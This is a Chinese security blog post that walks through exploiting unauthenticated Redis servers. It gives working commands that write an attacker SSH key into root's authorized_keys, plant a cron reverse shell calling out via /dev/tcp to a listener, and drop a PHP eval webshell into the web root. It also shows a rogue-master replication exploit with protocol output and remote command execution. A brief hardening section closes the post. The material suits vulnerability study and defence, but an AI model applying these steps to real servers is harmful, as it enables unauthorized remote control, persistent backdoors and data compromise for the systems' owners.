Redis未授权访问漏洞复现

redis数据库默认无密码认证,当数据库未设置认证时,即存在未授权漏洞,可以导致服务器被远控等危害。

复现

使用客户端连接redis远程服务器

./redis-cli -h 127.0.0.1 -p 6379

查看服务器信息

info

image

连接成功后的一些常用命令

查看信息:info
删除所有数据库内容:flushall
刷新数据库:flushdb
查看所有键:KEYS *,使用select num可以查看键值数据
设置变量:set test "whoami"
设置路径等配置:config set dir [dirpath]
获取路径及数据配置信息:config get dir/dbfilename
获取所有配置信息:config get *
保存:save
查看变量名称:get [变量]

Getshell

方法一:

上传SSH密钥进行登录(前提是开启了ssh服务,目标机器root权限启动redis)

1、本地生成ssh密钥

ssh-keygen -t rsa #会创建id_rsa私钥和id_rsa.pub公钥

image

2、将公钥文件内容写入一个txt

(echo "\n\n";cat id\_rsa.pub)>test.txt #使用\n避免和其他redis缓存数据混合

image

3、将公钥发送到对方redis服务器的缓存中

cat test.txt |redis-cli -h 127.0.0.1 -p 6379 -x set hello

image

4、利用redis-cli写配置的方式将公钥写入ssh目录

config set dir /root/.ssh # 设置redis的备份路径为/root/.ssh/
config set dbfilename authorized_keys # 设置保存文件名为authorized_keys
save # 将数据保存在目标服务器硬盘上

image

5、利用私钥远程登录redis的22端口

ssh -i /root/.ssh/id_rsa root@xx.xx.xx.xx

image

方法二:

定时任务写入反弹shell

1、在redis中写入定时任务

set x "\n* * * * * bash -i >& /dev/tcp/xx.xx.xx.xx/6666 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

2、在攻击机上监听6666端口等待反弹shell

nc -lvp 6666

方法三:

直接写入webshell(需要对方开启了web服务和知道web路径,并有读写权限)

1、redis命令写入webshell

set x "\n\n\n<?php @eval($\_POST['a']);?>\n\n\n" #加入\n\n\n防止乱码影响shell
config set dir /var/www/
config dbfilename 1.php
save

2、直接访问web下的1.php进行连接

方法四:

主从getshell(适用版本redis 4.x/5.x)

目前大多数redis存在于docker中,因此并不会存在redis之外的如ssh、crontab等服务,因此不能用上述方式进行利用。这时候需要用到主从复制。

利用脚本:https://github.com/LoRexxar/redis-rogue-server

1、首先使用恶意服务器充当主机,使用FULLRESYNC功能将so文件送给从机

ubuntu@VM-1-7-ubuntu:~/lorexxar/redis-rogue-server$ python3 redis-rogue-server_5.py --rhost 172.17.0.3 --rport 6379 --lhost 172.17.0.1 --lport 6381
TARGET 172.17.0.3:6379
SERVER 172.17.0.1:6381
[<-] b'*3\r\n$7\r\nSLAVEOF\r\n$10\r\n172.17.0.1\r\n$4\r\n6381\r\n'
[->] b'+OK\r\n'
[<-] b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$6\r\nexp.so\r\n'
[->] b'+OK\r\n'
[->] b'*1\r\n$4\r\nPING\r\n'
[<-] b'+PONG\r\n'
[->] b'*3\r\n$8\r\nREPLCONF\r\n$14\r\nlistening-port\r\n$4\r\n6379\r\n'
[<-] b'+OK\r\n'
[->] b'*5\r\n$8\r\nREPLCONF\r\n$4\r\ncapa\r\n$3\r\neof\r\n$4\r\ncapa\r\n$6\r\npsync2\r\n'
[<-] b'+OK\r\n'
[->] b'*3\r\n$5\r\nPSYNC\r\n$40\r\n17772cb6827fd13b0cbcbb0332a2310f6e23207d\r\n$1\r\n1\r\n'
[<-] b'+FULLRESYNC ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ 1\r\n$42688\r\n\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00'......b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xea\x9f\x00\x00\x00\x00\x00\x00\xd3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\n'
[<-] b'*3\r\n$6\r\nMODULE\r\n$4\r\nLOAD\r\n$8\r\n./exp.so\r\n'
[->] b'+OK\r\n'
[<-] b'*3\r\n$7\r\nSLAVEOF\r\n$2\r\nNO\r\n$3\r\nONE\r\n'
[->] b'+OK\r\n'

2、登录从机(也就是未授权主机)直接执行系统命令

ubuntu@VM-1-7-ubuntu:~/lorexxar/redis-rogue-server$ redis-cli -h 172.17.0.3
172.17.0.3:6379> system.exec "id"
"\x89uid=999(redis) gid=999(redis) groups=999(redis)\n"
172.17.0.3:6379> system.exec "whoami"
"\bredis\n"

防御方式

1.关闭6379。关闭对外端口防止攻击者利用

2.设置密码登录。不允许未授权空密码的方式直接登录redis,从而更改敏感文件信息。

3.服务器以低权限运行redis服务

4.禁用高危命令
修改 redis.conf 文件,添加如下内容来禁用远程修改 DB 文件地址

 rename-command FLUSHALL ""
 rename-command CONFIG ""
 rename-command EVAL ""
posted @   小阿辉谈安全  阅读(920)  评论(1编辑  收藏  举报
相关博文:
阅读排行:
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· C#/.NET/.NET Core优秀项目和框架2025年2月简报
· DeepSeek在M芯片Mac上本地化部署
点击右上角即可分享
微信分享提示